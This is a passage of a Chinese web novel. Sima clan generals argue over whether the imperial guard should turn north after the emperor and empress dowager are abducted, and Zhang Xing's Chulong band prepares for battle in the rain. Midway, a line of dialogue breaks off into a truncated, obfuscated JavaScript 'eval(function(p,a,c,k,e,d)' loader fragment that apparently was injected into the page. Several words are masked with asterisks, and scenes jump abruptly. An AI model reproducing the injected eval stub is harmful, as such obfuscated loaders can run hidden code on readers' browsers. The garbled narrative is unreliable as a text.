「关键是贼人狡猾,全程引而不发,骗了丞相信任后忽然发动………现在我们全家都已经过了涡水,还有三分之一的兵马过了淝水,前卫吐万老将军更是已经进抵汝阴,算是进了淮西地界了……如何还要回去追?」 「我们想追,军士们也不乐意……」 「就是,这半个月行军,可是把什么军心士气够给腌没了!」 「难道真不管?」 「走吧!前面就是淮西,就有热饭吃了!」 「也不能不管,否则到了东都怎么交代?」 「跟谁交代?老子跟儿子交代?丞相在这里!」 「没了皇帝,如何称丞相?」 「……」 「……」 「好了!」听了一阵子,司马化达忽然有些烦躁起来,摆手尝试制止这些乱七八糟的讨论。 但是,居然没有起效。 「都且闭嘴!」司马进达此时发起怒来,用上真气呵斥,倒是立即起了效果。 一阵沉默之后,司马化达开了口:「不要乱扯,一个一个的说……左仆射呢?来了吗?」 「左仆射马上来。」有人立即应声。 司马化达眼皮抽了一下,不知道是不是困意未退:「令狐将军、牛舍人、封舍人他们喊了吗?」 「我这就去喊。」司马进达醒悟,立即让人把自家兄弟的依附者都喊来,省的被司马德克借势「逼宫」。 「那咱们等等吧,反正这事挺大,得左仆射开口才行。」司马化达见状点点头,却干脆在案后板起脸来。「左仆射来之前,全都闭嘴!」 其余人见状,似乎也意识到自己的行为有些不妥当,纷纷立定,不多言语。 就这样,外面雨水滴答作响,夜色中,这个临时充当了禁军指挥中枢的小镇子上小小宅院内却陷入到了有些让人捉摸不透的安静之中,偶尔有人咳嗽走动,也不能打破众人的沉思,也惊不破外面的雨声。 且说,众所周知,司马七达是个聪明人。 作为司马八达中公认最成才的一个,此人受到过很好的贵族教育,并有着充足而丰富的战场、官场经验……修为好,有文化,有军事履历,同时也有一定的**嗅觉,而且执行力强,从不拖泥带水……这么一个人物,早该露出来的,只不过司马氏一直以来的光辉都太明显了,中枢的父亲,不免给遮掩住了。 实际上,司马进达也素来自诩才能,并认为自己是能做出一番事业的,不然也不至于成为江都军变的主要策划人之一了。 不过,军变之后,这位自诩才能的人却认识到了一个道理,而且重新认识了一个人: 事情是说,指望着个别人(不管是多高权位多大实力多聪明)就能决定一件大事的走向是不现实的,有时候必须得服众或者从流,反过来说要尽量避免自己落到跟大部分人对立的局面;而人,就是指他的兄长司马化达了……司马进达现在非常清楚,自家这位大兄在**权力上面有着远超自己的清晰目光与敏锐嗅觉,但也仅仅如此,除了这个,这位大兄还是一无是处。 这甚至使得自家这位大兄的长处也变得危险起来。 以此为前提,司马进达立在案后,开始认真思索起这件事情的首尾以及大家所有人的反应来。 首先是事情本身……这个反倒成为最简单的一部分了,就是黜龙贼处心积虑嘛,不管是为了麻痹禁军还是为了单纯的拖拉时间,反正这几个投降的全都是黜龙军的内应,走到这里窥到机会,就不愿意耽搁,直接把皇帝和太后卷跑了。 至于牛督公,十之**是被内侍群体给裹挟了,而牛督公箭在弦上不得不发,又只好把去监军的赵行密给控制了。 那么,只就事论事,该不该追呢? 司马进达觉得不该追,因为就十之**追不上,再加上禁军已经被梅雨季节行军给拖得七荤八素,这个时候尽快进入淮西,包括回东都休整是最好的去路……等休整妥当了,秋后再杀回来,或者外交解决都没问题。 可其他人怎么想呢? 张虔达是想脱罪,这件事情他是有责任的,而且是明面上最大的责任人,但他又不敢讨论实际上最大的责任人,也就是自家大兄司马丞相,以才迫不及待泼污水到赵行密身上。 至于其他人……想到这里,司马进达心下一沉,因为他已经从夜间的猝不及防 中反应过来了,其他人其实是对他们司马兄弟有怨气。 怨气有两层,一层是这件事情本身就是自家大兄的责任,是自家大兄被那些降人给拍马屁拍迷糊了,尤其是信了那个知世郎,才致使皇帝和太后被卷走,包括之前王焯回来,只因为收了对方带来的干粮物资什么的,就直接送到后面去见牛督公了,还有对赵行密的任用,都是自家大兄的问题。 至于另一层,就是行军过于辛苦,这些将军们本能的对安排计划的上位者产生不满。 坦诚说,有点麻烦了。 而当司马右仆射将目光对准自家大兄时,却又再度心中一沉。 无他,司马进达顺着想了下去,却是又意识到一个问题,那就是今天晚上,自家大兄似乎才是那个最不安的人……丢了皇帝和太后,对禁军整体而言,或者说对在这个屋子里的其他将军而言的确是个问题,但不是什么天大的问题,可是对自家大兄来说却真有些麻烦,因为皇帝和太后是他回到东都面对二郎以及东都旧势力的重大筹码,是他这个丞相身份的合法性的根基。 当然,只是一半筹码和一半根基。 自家兄长这个丞相身份的合法性其实来自于两处,一处是小皇帝和太后;另一处正是屋子里的这些人。但是,今天晚上,不仅仅是太后和皇帝没了,这些人也都有怨气,那自家兄长为了权力的稳固会做出什么离谱的事情来? 可千万别再学死掉的那位了! 正在想着呢,先是被司马化达带在中军的几位舍人和中军几位将领抵达,紧接着,几乎是前后脚的样子,左仆射司马德克也带着元礼正等几名将领过来了……这位左仆射原本在更前面,结果淝水东岸过来的将领们却越过了这里的司马丞相,直接联络了过来,不然之前兄弟二人也不会那么明显发怒了。 「左仆射怎么看?」司马德克既至,司马化达立即来问。 「我觉得要把人救回来。」司马德克明显路上便已经想好,几乎是脱口而对。「不然去了东都咱们没法立足。」 「不至于。」右仆射司马进达赶紧反驳,语气却比刚刚和缓了不少。「东都本是故里,我侄儿与我们既是同门又是同列,再不济咱们又有兵马在手,若是还要计较立足之事,岂不可笑?」 「不是我无端计较。」司马德克皱眉道。「后面人不知道,右仆射和丞相不知道吗?之前接到吐万老将军的讯息,他说领兵到了汝阴郡,并未见到接应兵马……」 周围哗然! 司马进达赶紧补救:「汝阴郡偏远,算是淮西跟黜龙帮的交界,还经历过战事,现在王代积随司马正入东都不过一月的功夫,缺兵少械,放弃空置汝阴也是寻常。」 「我也是这般想的,所以之前没有计较。」司马德克继续皱着眉头来言。「但今夜来之前的晚间算是刚刚又接到吐万老将军的讯息,他说专门遣人往汝南、淮阳求援,要求兵马和后勤接应,结果淮阳太守只是虚应,半点人没派去,物资更无;而汝南那边干脆没有半点回应,据说是王代积收到军令往东都去了。」 司马进达也愣了一下。 而也就是这一愣的功夫,周围彻底难忍,众人轰然,或是愤怒,或是沮丧起来: 「去西面,去西面!这回怕是要死在西面!」 「死不了的。」 「死不了也要脱层皮,再这么走半月,有修为的都受不了,没修为的怕是人都要废了!」 「司马二龙不是你们司马家的人吗?为什么这般疏离?」 「总不能是因为杀了那个皇帝,必是有人自取了丞相,想要以父临子,被人看破了!」 话越说越难听,越说越露骨,越说越肆无忌惮。 但大家这个情绪都还能理解……毕竟,如果前面汝阴和汝阳都没有接应,那就意味着剩下这半个月的梅雨季节还要再遭同样的罪! 这谁能忍? 耳听着众人越说越不客气,司马进达却想压制也无法压制,想反驳也无法反驳……因为,禁军里的这些关陇贵种们没几个是傻子,他们说的都挺有道理,真要硬做驳斥,怕是丢脸的反而是自家,硬要压制,这个情状也无法压制。 「但是回去也无用。」司马进达努力来言。「军士们不答应。」 「答应的。」张虔达忽然开口。「只要告诉他们,我们改从北路走,走荥阳回去,北面有不发馊的粮食,有黜龙军攒了四年的钱帛,还有洗热水澡的地方……他们就去了。」 司马进达脑袋一嗡,却是本能来看自家兄长。 而果然,司马化达闻言微微一愣,旋即眯眼来对:「你们都是这般想的?」 「是。」 「主要是军心遭不住……太苦了。」 几人零散开口。 「我反对。」司马进达赶紧表面立场。「都走到一半了,何必回头生事?部队进入东都休整起来再做计较才对。」 司马化达不由犹豫。 这个时候,元礼正忽然插嘴:「丞相、右仆射,我对汝阴、汝阳、淮阳的情形有个猜想。」 司马化达抬手,示意对方来说。 「我觉得司马大将军(司马正)是故意的。」元礼正扶着刀,言辞干脆。「他就是要拖垮我们,然后等我们进东都的时候自然无力反抗,便会任其拿捏……不要觉得将军们有修为就如何,他们也要有军士才算将军的,只会跟着 司马化达干笑了一声,没有言语。 司马进达也笑了:「你这话就是以小人之心度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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「我的意思是,我们现在就在谯郡郡内转向北面,既是去追击陛下与太后,也是真的如告诉军士们那般,取道北面,从荥阳回东都。」元礼正说出了自己的谜底。 「荥阳有什么?」司马化达一时没有反应过来。 「有洛口仓。」司马德克终于也来言。「我问了路上的人,大约是年前李枢破了洛口外仓的敖山仓,跟张 行破黎阳仓是同时,也正是为此引来了曹林出战而死,白横秋出红山入河北大战一场……我不信黜龙帮又是打仗又是内乱,能来得及能把洛口仓搬空,便是搬空了,不也落在路上的梁郡、荥阳这些地方上吗?正好可以取而用之。丞相,不管能不能追上皇帝跟太后,我们都可以在荥阳休整好,从容入龙囚关。」 司马进达和司马化达几乎同时长呼了一口气。 然而,二者便都要言语。 这个时候,元礼正主动的,也是进入这个房舍后第一次看向前者:「右仆射,我知道你想说什么,你还是怕打仗,怕打不过对不对?」 「不是吗?」司马进达有些无力道。「咱们之前就紧张于黜龙帮的军力才不愿意走北路的,现在淋了半月雨,战力大损……」 「就是因为有这个雨,才有了绝大的胜算。」元礼正看了眼屋子里的其他人,然后方才对着司马兄弟认真来言。「这件事之前,军中其实就讨论过,这个时候去打黜龙军,反而是绝妙的时机,因为他们的兵马被雨水分割了,而我们现在掉头,他们更是猝不及防……有这两条,军务上足够了!反倒是右仆射你,可能是满脑子都在去东都这件事上,以至于忘了去想!」 司马进达一愣,旋即恍然,竟当场语塞。 无他,这位司马氏的精英心下了然,对方说的是对的——穿过谯郡,接了几个假降人,遇到了一些本地人,基本上已经可以验证一些信息了。 黜龙帮一共五十个营,而且分行台,这是江淮之间都知道的,跟白横秋大打了一场,死伤肯定是不少的,而现在在禁军眼前出现过的大约有十五六个营,来源不同、兵种不同、战力不同,这说明这十五六个营是专门优先补充起来应对防范禁军的。 那么敢问黜龙军还有多少个营?在哪里? 白三娘登州五营遇到台风是天大的奇闻,人尽皆知;肯定要留下最少十个营在河北防备薛常雄;荥阳要放四五个营防备东都;新降的李定也不会来……那么估计还有十几个残破不堪的营,应该是在大河两岸黜龙帮的核心领地做总预备队,也正是因为残破不堪,也只能做预备队。 至于说雨水。 之前的话,雨没有在淮北一线下透,一旦发生大战,还需要担心这个预备队会南下跟前线的十几个营汇合,弄出来一个五六万人的大兵团,但现在呢?进入五月,梅雨下了半个月,没有人会主动让自己陷入到禁军这种行军境地中去。 就连黜龙帮前线十五六个营都渐渐消停了。 换言之,梅雨将黜龙军的主力分割成了一前一后两个集团,而且应该都是分散式的那种集团。 而禁军的主力却因为不得不行军,已经全员暴露在梅雨中。 「是这样吗?」司马化达对军事明显不够有信心,所以主动来问自家七弟。 司马进达迎上自家兄长期盼的目光,却并不着急回复,而是环视屋内,却发现几乎所有人都在看自己,不管是张虔达这些跟在淝水东岸、涡水西岸,满腹牢骚的禁军主力将领,还是明显已经有了串联的前方司马德克、元礼正等将,又或者是自家兄长和就在这个小镇子上留宿的几名舍人和被兄长视为心腹的令狐行等将,全都面无表情来看自己。 「应该是这样。」司马进达收回目光,近乎平静的向自家大兄讲述了雨水带来的战机。「但是这样还有个问题,那就是雨水中大家难以结阵,而对方有三位宗师……」 「不会。」司马化达几乎是脱口而出。「牛督公不可能是蓄谋,这次脱离必然是王焯那厮用内侍裹挟他,他既不会对我们出手,也不会对黜龙帮出手的……」 「那就是二对二!」有人迫不及待。 「张三贼的 位置也不清楚。」又有人提醒。「并不确定在不在前线。」 「这更是好事,但要料敌以宽,就是二对二,把吐万老将军跟鱼老将军汇集起来,直扑谯郡!」令狐行也忍不住了。「然后不管胜不胜,也不管能不能得手太后跟皇帝,我们都不追过涣水,只是沿着涣水大道北上。」 「那就打吧!」听到这里,晓得军事上没问题的司马化达脱口而言。「不就是再来一次剿灭来战儿嘛!一箭三雕!如何不打?!」 房舍里瞬间喧哗起来,几乎人人绽开笑脸。 司马进达看着这些人,并没有反驳,他如何不晓得,皇帝与太后之事只是一个契机,真正的关键在于,今日屋子里的所有人外加整个禁军都淋够了雨,想洗个热水澡呢? 司马右仆射无话可说,只能随之苦笑。 天明的时候,徐州三郡彭城郡萧县定陶山下,雨水弥漫如故,喝完粥准备启程赶路的黜龙帮首席张行接到了李定的又一封信。 他打开来看,沉默了足足十几息,许久方才在黄骠马上回头来笑:「二郎,你猜李四又要做什么?」 「打仗?」秦宝脱口而对。 「不错。」张行点点头。 「发生什么军情了吗?」秦宝淡然来问。「否则何至于再度发信?」 「王焯和王厚把太后跟皇帝带到稽山了。」张行平静叙述。「牛督公也去了,禁军最高战力缺了个角,这自然算是重大军情变动了。」 「要打吗?」秦宝不以为然。「稽山那里这次能有三分之二的头领赞同?」 「不管如何,总不能去徐州了。」张行幽幽以对。「我也写封信吧……告诉杜破阵和辅伯石,要他们来见我。」 秦宝点头。 就这样,张行自写了信,发了信使,然后带着十几个侍从打马折回,大约走到中午的时候,几乎快要来到涣水跟前时,却见到足足数十骑顺着涣水而来,远远铃声未传到便纷纷呼喊。 临到跟前,居然又是一封信。 张行在雨中大略看完,直接交给秦宝,言辞随意:「禁军居然全军掉头往北而来,恐怕要再写封信给杜破阵、辅伯石了。」 「什么内容?」秦宝看完短信,微微挑眉。 「让他们猛攻鱼皆罗,若是这次再违背军令,我就要让杜破阵做第二个李枢。」张行一边说一边翻身下马,就要在雨中来写今日第二封信。 秦宝在马上想了想,似乎才反应过来,却是当场再问:「禁军主动来撞进来了?」 张行没有理会,只是在马鞍上摊开一张纸,用真气裹住,看了四周,犹豫了一下,拿起炭笔写道:「时为五月,雨如天下倾。」 第二十五章风雨行(25) 五月十四日,禁军统一思想,掉头北进,很快就取得了大量的战果——尤其是淝水与涡水之间的禁军主力部队,他们一路向北,瞬间侵略了小半个谯郡,并且在谯郡北部诸县、镇、市、渡缴获了大量的物资。 干净的粮食、新鲜的蔬果、充足的柴火、宽敞的房屋,理所当然的热水,甚至还有意想不到的布帛、铜钱、漆器、牲口,包括女人,全都让在梅雨中苦捱了半个月的禁军欣喜若狂。 也让尚存了一丝疑虑的禁军将领们彻底释然,他们谁都没想到,仅仅是涡水西岸的区区小半个北谯郡地区居然就这么富。 一时间,自然士气大振。 但随即,他们就面对了一个幸福的烦恼,那就是还要不要渡过涡水去追皇帝和太后。 去追,自然就是贯彻昨晚上的计划,而那样的话必然要打一场堪称战役的,跟黜龙帮至少十五六个营发生剧烈冲突,好处是战机难得,兵力战力绝对优势,形成的突袭态势必然会让黜龙帮在战略层面上猝不及防,很大把握能拿下这一仗,然后就可以维持住对黜龙帮的战略优势。 不去追,更简单,连谯郡西部都这么富庶委实超出预料,而这次更改路线,表面上是皇帝跟太后什么的,本质上的原因,或者说最核心最过不去的一个坎其实很简单,就是禁军主力在战乱后的淮水北岸一线被黜龙军挤压着行军,最终在梅雨中军心士气下降到了一定份上,上上下下都不乐意,那现在知道北面物资充裕,直接顺着淝水、涡水北上,军心士气不也照样稳定吗? 就在这里等一等,等鱼皆罗跟吐万长论过来,然后直扑荥阳便是,反正黜龙帮此时必然也不敢主动求战的,便是求战等禁军补充了物资、恢复了士气也不怕。 下午时分,争论起来的有些猝不及防。 希望北上的赫然是丞相司马化达,并且瞬间得到了许多人的支持;而坚持渡河作战的领头人则居然是之前唯一的反对者司马进达……不过,司马进达这个时候坚持渡过涡河的理由倒不是只出于什么战略考量,他还有一种强烈的对自家大兄的不满情绪,这位右仆射认为,既然已经决定渡河寻机歼灭部分黜龙军主力并吃掉,就应该保持军事思路的纯粹性,坚定的完成这个计划,而不是为了所谓**话语权擅自反复更改决断。 没错,司马老七已经看出来了,他大兄出这个主意,并不是情势如此,咱们正好如何……而是说,昨晚上我被司马德克跟一群禁军将领弄得有点像是逼宫,现在局势变了,气喘过来了,我可得趁机找个机会主导一下行动,告诉上上下下,这禁军到底是谁说了算。 这就是司马化达,这就是睿国公、上柱国、丞相,这就是司马进达的哥哥,司马正的父亲,司马长缨的儿子,司马氏理论上毫无争议的家主。 当然了,司马进达并没有将这些怨气说出口,他只是单纯的抓住军事原则问题,从军事角度进行反驳。 不过有意思的是,这场争论跟昨晚的一边倒完全不同,这次反而有些焦灼,因为前线将领明显**,很多人收问询性的信件后都反问为什么要更改计划不再渡河? 须知兵贵神速。 非只如此,就连司马化达倚为日常身边来用的那拨人也都**,封常这些文字幕僚全都赞成司马丞相,而令狐行在内的直属军将则赞同司马右仆射,认为应该贯彻军事计划。 只能说,禁军不管如何,军官们确实都有极高的军事素养,只说军事,他们都认为应该打过去。 双方一时争执不下,而也就是这个时候,封常转送来了一个消息。 “属实吗?”司马化达不喜反惊。“黜龙帮的谯郡郡守要投降?” “消息自然属实……” “本相不是说消息,是说这事……这人可靠吗?他们明明刚刚弄了两个假投降的内应,如今又来诈我……”原本就因为争执不下而有些气急败坏的司马化达此时更加气急败坏,居然当场握拳捶膝。“把我当成什么了?天下第一等的蠢货吗?” 封常沉吟不语,反而是看向了司马进达、令狐行、牛方盛几人……前一刻,他们还在激烈争辩。 司马进达几人面面相觑,然后牛方盛不由蹙眉:“此事确实奇怪,这个什么谯郡郡守不晓得王厚跟王焯的事情吗?” “知道不知道都无所谓。”司马进达也醒悟过来。“知道了固然奇怪,不知道的话,那就更干脆……” “老七的意思是,这次投降莫非是真的?”司马化达一时诧异。 “不是。”司马进达赶紧解释。“知道了再投降也可能是故意反其道行之来迷惑我们,不知道的话,那就是一次正常投降,就更不晓得是真是假了。” 司马化达一时无语。 倒是令狐行此时忽然笑了:“丞相,此人投降真假其实都无所谓,关键是他要献出来的城池就在我们北上的路上……如果我们要北上,肯定要把谯郡的郡治谯县给拿下,便是不北上,渡河去追陛下,最好也要拿下谯县,以作撤退与进军的支点。” 司马兄弟和牛方盛齐齐一愣,倒是封常此时赶紧点了下头,后者本就想这么说,但现在气氛越来越微妙,他反而不敢说这种其实算是大实话的话。 “确实。”司马进达回过神来,修正了说法。“不管此人投降真假,我们都要收下他,这样才能以最小代价最快速度占领谯县……这是涡水西岸的要害大城……是涡水西岸最大的城池吧?” “是。”牛方盛一边点头,一边却又去看坐在那里的司马进达。“丞相,反过来说,此人见到大军北上,晓得谯郡郡治必失,担心黜龙帮处置,主动投降,倒也可能是真心的了。” 这次并没有人反驳……说白了,什么投降诈降,都是小手段,皇帝、太后不能说小,但也只是偏枝,曹彻都杀了,这祖孙俩算什么? 从头到尾,对于禁军这种规模的大型**军事集团来说,根本问题只有一个,那就是如何在不散架的情况下顺利转移到新的根据地。 不散架,不只是要防着外力,也要防着内力。 司马化达同样沉默片刻,然后忽然摆手:“那人叫什么名字?” “诸葛德……”封常便要告知对方。 “大兄。”孰料,司马进达几乎是瞬间醒悟了自家兄长的意思,然后立即提出反对意见。“遣一员大将去占住谯县就行了,令狐将军就很合适,你何至于亲自去谯县?” “我不去谯县去哪里?”司马化达明显不以为然,而且不耐烦起来。“去城父?谯县是郡城,城墙规制、物资储备,必然都胜过城父的。” 司马进达犹豫了一下,但还是说出了自己的真实想法:“大兄应该过河督战的。” 司马化达懵在当场,半晌方才来对:“千金之子不坐垂堂……当日曹彻也没见到身先士卒吧?” “曹彻是能学的吗?”司马进达是真急了。“他是什么下场?他落到那个下场不就是因为跟禁军分开了吗?” “那大家一起北上就是了,不过涡河了。”司马化达忽然想到了一开始的争执,顺理成章起来。 “那皇帝怎么办?没皇帝跟太后,大兄的丞相在东都对付过去?”司马进达无奈重复之前的争论,事情好像回到原本的路数上。 “这也不行,那也不行,你来做丞相好了!”司马化达终于大怒。 司马进达立即沉默了下来,司马化达也觉得尴尬,后者想了一想,干脆站起身来,走过去来握自家七弟的手:“老七,我一时失言,你不要记挂在心上,局势如此,咱们兄弟更该勠力同心,这个时候,我真只能指望你了……” “大兄多虑了。”司马进达倒是语气平静。“这样好了,就按照你说的来,咱们从这里下令,大家一起北上就是,咱们也直接去谯县接收城池……只不过……” “只不过……” “只不过,万一有人不听军令,或者已经来不及,直接渡河过去了怎么办?还有鱼皆罗将军,要是黜龙帮反应的快,路上阻击和围剿他们,他们向我们求援怎么办?”司马进达反问道。“难道要放弃他们吗?这要是引发军中**怎么办?” “如果发生战斗,我就立即渡河过去督战,这次我给你发个誓。”司马化达赶紧举起一只手来安慰对方。“若是不能为,便让我跟曹彻一般不得好死,如何?” “大兄何至于此?!”听到这话,司马进达终于不安,赶紧低头,眼泪都出来了。“我这般忧心,其实只是为了司马氏能久安,绝无与你生分之意!” 其余几人原本还用奇怪目光来看这对兄弟,此时也都赶紧来劝。 局势一日三变,五月十四日,到了傍晚时分,全面北上的禁军主力大部分都已经进入到了谯郡郡中涡水以西、淝水以东的地域,但打着夺回御驾旗号的禁军中,居然只有张虔达一支六千人的兵马一开始从最南端的山桑渡河,却也在北上二十余里后停在了一个比较富庶且有渡口的镇子上,诡异的不再动弹。 期间,只与黜龙帮发生了一次只能算是野外摩擦的小规模战斗。 而与此同时,黜龙帮于当日下午便早早完成了出兵的决议。 没错,这一次决议没有任何问题,甚至一开始李定都不愿意进行决议,因为这次明显是发生了“重大军情变化”的,这时候要搞决议,反而是在浪费时间,到时候徒劳丢掉战机。 好在此时大部分头领都集中在稽山一带,倒也没有耽误事情,包括张行与单通海这两个之前反对开战的两位在内的所有人,全都举手通过了开战的决议,然后大军齐发,不只是稽山大营这里的二十五个营,其余十五个营中最少十二个营也都纷纷往谯郡中心位置,涣水、涡水中间的龙冈一带汇集。 大小头领们也纷纷随从张行往龙岗去迎王厚、王焯、牛督公,并准备接收皇帝与太后。 当日一下午繁乱行军不说,第二日五月十五一早,众人汇集起来,雄伯南、张世昭、虞常南、白有宾等人早早南下去接应,而他们刚一走,剩下的讯息汇集起来,龙冈这边就得知,整整两天,禁军居然只有一支部队渡河,还是那支负责看管內侍军、知世军的甩尾部队,却只进发了二十里就不动了。 如今,乃是左才相引兵横在其部东北面,以作军情隔离。 坦诚说,这跟预想中的完全不一样,一些头领也不由再度动摇起来。 “我们取了皇帝和太后,他们从谯郡西边劫掠一次,也不算太吃亏,若是他们不来,不如就这般算了……” 清晨时分,谯郡龙冈大营,雨水居然堪堪收住,露出了一点早霞来,此时说话的是尚怀恩,他一边说一边去看一大早来到营内制高点,也就是龙冈小石坡上观察什么情况的张行,身边则是十来位一同跟出来的头领。 此人既开口,周围这些头领中不少人精,却是瞬间晓得了情况——尚怀恩这人,性情能力摆在那里,又刚刚出了次大丑,怕是没有胆量和本事提出新意见,反而更像是在尽一个所谓首席心腹头领的义务,先把话说出来,为张首席留下转向余地。 你还别说,一时间真有不少人附和。 毕竟,能一大早追着张首席出来看风景的,又有几个会违逆这位首席的,偏偏之前那次决议,张首席在内的上面的人把心思也都展露出来了。 但张行并没有理会,只是负手站在那里看风景。 须臾片刻,又一位大头领过来,见到这一幕便参与其中,稍微听了一听这边的意见,似乎也很赞同,却从另一角度进行了论证。 “雨也很大,从之前芒砀山到稽山,从稽山到龙冈,路都太差劲了,行军委实艰难,既不方便作战,也不方便追击。”徐师仁犹豫了一下,认真来言。“而且我问了下这边的乡亲,他们都说昨晚今早这晚霞早霞不对路,恐怕今日晚上又要下雨,明后后日雨水反而还要加重一下……” “老徐是说……” “我是说便是咱们下定决心来打,说不得也打不起来……”徐师仁正色道。“现在的情况是,回头是他们回头的,止步也是他们止步的,若是接下来两日下起了大雨,他们自家一路向北去了,或者直接掉头又往西去了,咱们隔着一条条河,想打也追不上,又能如何?” 徐师仁的资历、威望、战功摆在那里,许多人仿佛得了主心骨一般附和起来。 与张行并身而立的是李定,其人本想冷笑一声,却最终没有再开口说什么,而是看向了张行。至于张三,此时立在龙冈之上,却正望着西面发呆,好像没有听到这些杂音一般。 且说,此时是清晨,雨水稍驻,但连日下雨,水汽极重,还有早间的炊烟,虽称不上雾气弥漫,各处却也有些视野模糊扭曲,太阳露了一下,也旋即被乌云遮蔽,只有不断变化的一点金光自东向西照射下来,却更使得视野中的大平原愈发混沌不堪。 张行看的出神,李定却不惯着的。 不过,不知道是不是前几日在芒砀山得了教训,李四本欲就战事做主动询问,可话到嘴边,却变成了别的东西。 “张首席在看什么?”李四语气有些怪异。 “随便看看。”张行回头笑道。“主要是看到这个混混沌沌的景色,想到了一些事情。” “那张首席又在想什么?”李四郎紧追不舍,似乎是真的好奇,又似乎是在嘲讽。 “我在想,这天下大势到底是谁来推动的?”张行看着对方,恳切以对。“就好像眼下这一轮事端,前面的江都叛乱,禁军归东都,都是有迹可循的,从曹林死开始,是个聪明人就能预见到。可是,等到禁军往归东都,上了路,他们跟我们,这天下数得着的两大强梁是否要做过一场,分明就是决定天下走向的一个大事端,偏偏就不知道是怎么回事了,再聪明的人都只是觉得乱做一团。” 身后人更多了,此时闻言,饶是各怀心思,也都有一种“就是如此”的感慨。 没办法,这一个月太憋屈了,这种憋屈倒不是谁更占便宜的问题,而是这个上层决策圈的纠结,而上层决策圈之所以纠结,真不是他们自己反复不定,而是前线形势变化的太快了。 情报一直在更新,局势一直变化。 当然了,张行内心的想法可能更符合他的人设一点,他刚刚其实是在想……这一战,如果战后总结的话,肯定会有无数的规律,什么必然性、偶然性的表达,也肯定能找出特定的责任人与**来。但是,只说目前为止,真要深究细节的话,很难说事情是随着某个人的主观意愿而发展变动的,但也不是什么客观规律导致的,更像是许许多多人的大大小小的主观意愿与能动性加上不断变化的客观条件,导致了局势的动荡。 而对于脆弱的禁军内部关系、脆弱的禁军与黜龙帮关系而言,这种动荡是否致命,谁也不知道。 但无所谓了。 因为反正张行不会让这玩意动摇黜龙帮内部的组织架构关系,他决心已定。 李定在旁刚要再说些什么,忽然间,单通海亲自驰马而来,众人立即止住讨论,等待此人。 待到单大郎过来,却是告知了一件意料之外情理之中的消息:“张首席,李龙头,天王遣人告诉我们,他们在半路上就遇到了两位王总管还有那位什么牛督公轻身过来了,还带着之前说的那个禁军将军,马上就要到了。” 话到这里,单通海勒住码,自顾自冷笑一声,补充了一句:“这位督公怕是信不过我们,还想要我们什么言语。” “我倒是觉得,这反而省事了。”张行倒是坦荡。“说清楚事情,无牵无挂,便可一往无前了。” 几人来的很快,而他们抵达的时候,张行等人却已经在龙冈大营内那个小楼前进行“廊下食”了,甚至给几人留了位置,连赵行密都有位子。 不过,牛督公也好,赵行密也罢,却没有被这新颖的迎接方式所惊到,反而是各自沉默着一拱手,干脆落座了。 这倒不是牛督公和赵将军见多识广,不惊疑,而是一路上惊麻了。 首先是张世昭,尤其是张世昭……听说是一回事,见到是另一回事,而且张世昭的身份地位对大魏中枢体系里的人真的是一种红山压顶的感觉,在河北的时候连白横秋都掌不住,这边白有宾、虞常南见了以后也是如见到荒年之谷一般振作,何况是正显得落魄、患得患失的这两人? 尤其是对于牛督公而言,他跟张世昭作为曹彻前期作为期间交流妥当的同僚,还算是旧交,见面之后,一句“老牛”,几句闲话,便让这位督公卸了原本的忧虑之态。 然后来到龙冈,见到庞大的大营后,更是一点心气都无了,赵行密基本上是从意识到龙冈上面那玩意是炊烟而不是清晨起雾后便完全失去斗志,甚至有些如释重负。 作为禁军之前的主力将领,他当然知道禁军之前的误判,若是黜龙帮早就在梅雨季节前完成集结,那禁军什么动作都是在玩火! 若是他早知道如此,甚至可能会建议禁军从大江而上,从南阳回去!何至于此呢? 至于说见到李定和这么多头领蓄势待发之态,反而也就那样了。 吃了点饭,稍作收拾,早间那点阳光浑然不见,反而重新开始滴落雨滴,便是没有本地风土气象常识的也能看出来,这次的云层有点厚。 而张行同样抬头看了看天,然后也不起身,也不回后面楼内,反而就在这楼前的桌案后迎着雨滴开了口:“牛公,既然 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王厚并没有直接答应,而是想了一想,方才点头:“禁军是,东都是,白横秋还是!都要对付!不瞒首席,俺心里这一口气还没散掉!” “王总管凭着这口气当年首倡义兵,如今又虎口掏心,彻底废了大魏体统,便是千百年也不会有人忘了王总管心里这一口气的。”张行恳切称赞,然后才来对牛督公来讲。“牛公,你且宽心,我们黜龙帮计较的是暴魏,不是一对孤儿寡祖,就让他们去河北居住,授田免役,你们想要接济救助我也不会拦,待到局势安定,他们想回东都就回东都,想回西都就回西都,便是回江都也无妨。” 牛河长呼了一口气,忙不迭点头。 而也就是这时,张行回身朝虞常南做吩咐:“虞文书,辛苦你也做份公告,告诉天下人,我们黜龙帮捉到了大魏第三个皇帝,已经废了他,大魏体统到今日为止。” 虞常南面无表情,直接点头,全程并无犹疑。而周围人,也早从张行与牛督公交谈时便已经安静下来,并没有什么多余表达。 至于大魏,从曹彻把上上下下都玩失控以后逃到江都算起,所有人就都知道,大魏要亡了! 包括曹彻**,黜龙帮上下也都没觉得有什么惊疑的。 眼下也是如此,也就只有牛河、张世昭这两个大魏老臣有些表情罢了。 但不知为何,这话出口后,张行还是觉得这天地间似乎陡然一滞……这委实奇怪,总不能是雨水停了片刻吧? “牛公还有什么言语吗?”回过神来,张行继续来问。 “还有一事。”牛河喘了口气,幽幽以对。“老夫虚度半生,倒也混了个宗师修为,但如今颠沛流离,委实心境受损,不堪来战,更兼贵帮兵强马壮,若决意要作战,还请放我随江都的宫人、内侍们往酇县安置。” “可以。”张行脱口而对。“牛公自去,待小儿辈破敌,再来与牛公从长计较。” 牛河再度愣了一下,然后赶紧点头。 这个时候,张行终于看向了左右其他人:“我今天听到有人说,禁军又停下了,所以干脆不打了?” 没人回答,倒是李定将早间那声冷笑放了出来:“要不要再开一次决议?” “当然不可。”张行平静来看身侧之人,似乎没察觉到对方的讽刺意味。“临时决议这种事情,本身是遇到巨大分歧,或者决定做大事,才要做的,如果事事推给决议,不光耽误时间,浪费机会,还有一个大毛病,那便是降低决议的权威,反而使得决议被人轻视鄙夷。” 众人连连点头,只是有少部分人可惜单通海在外面调兵,否则这位一定要站起来跟张首席掰扯几句。 “至于眼下,禁军不前,包括今明日雨水可能会重,都不足以推翻原定大规模作战的意图,只是需要更改一些作战计划而已。”越来越密集的雨滴中,张行看向了就在自己身侧的李定。“李龙头可有备案?” 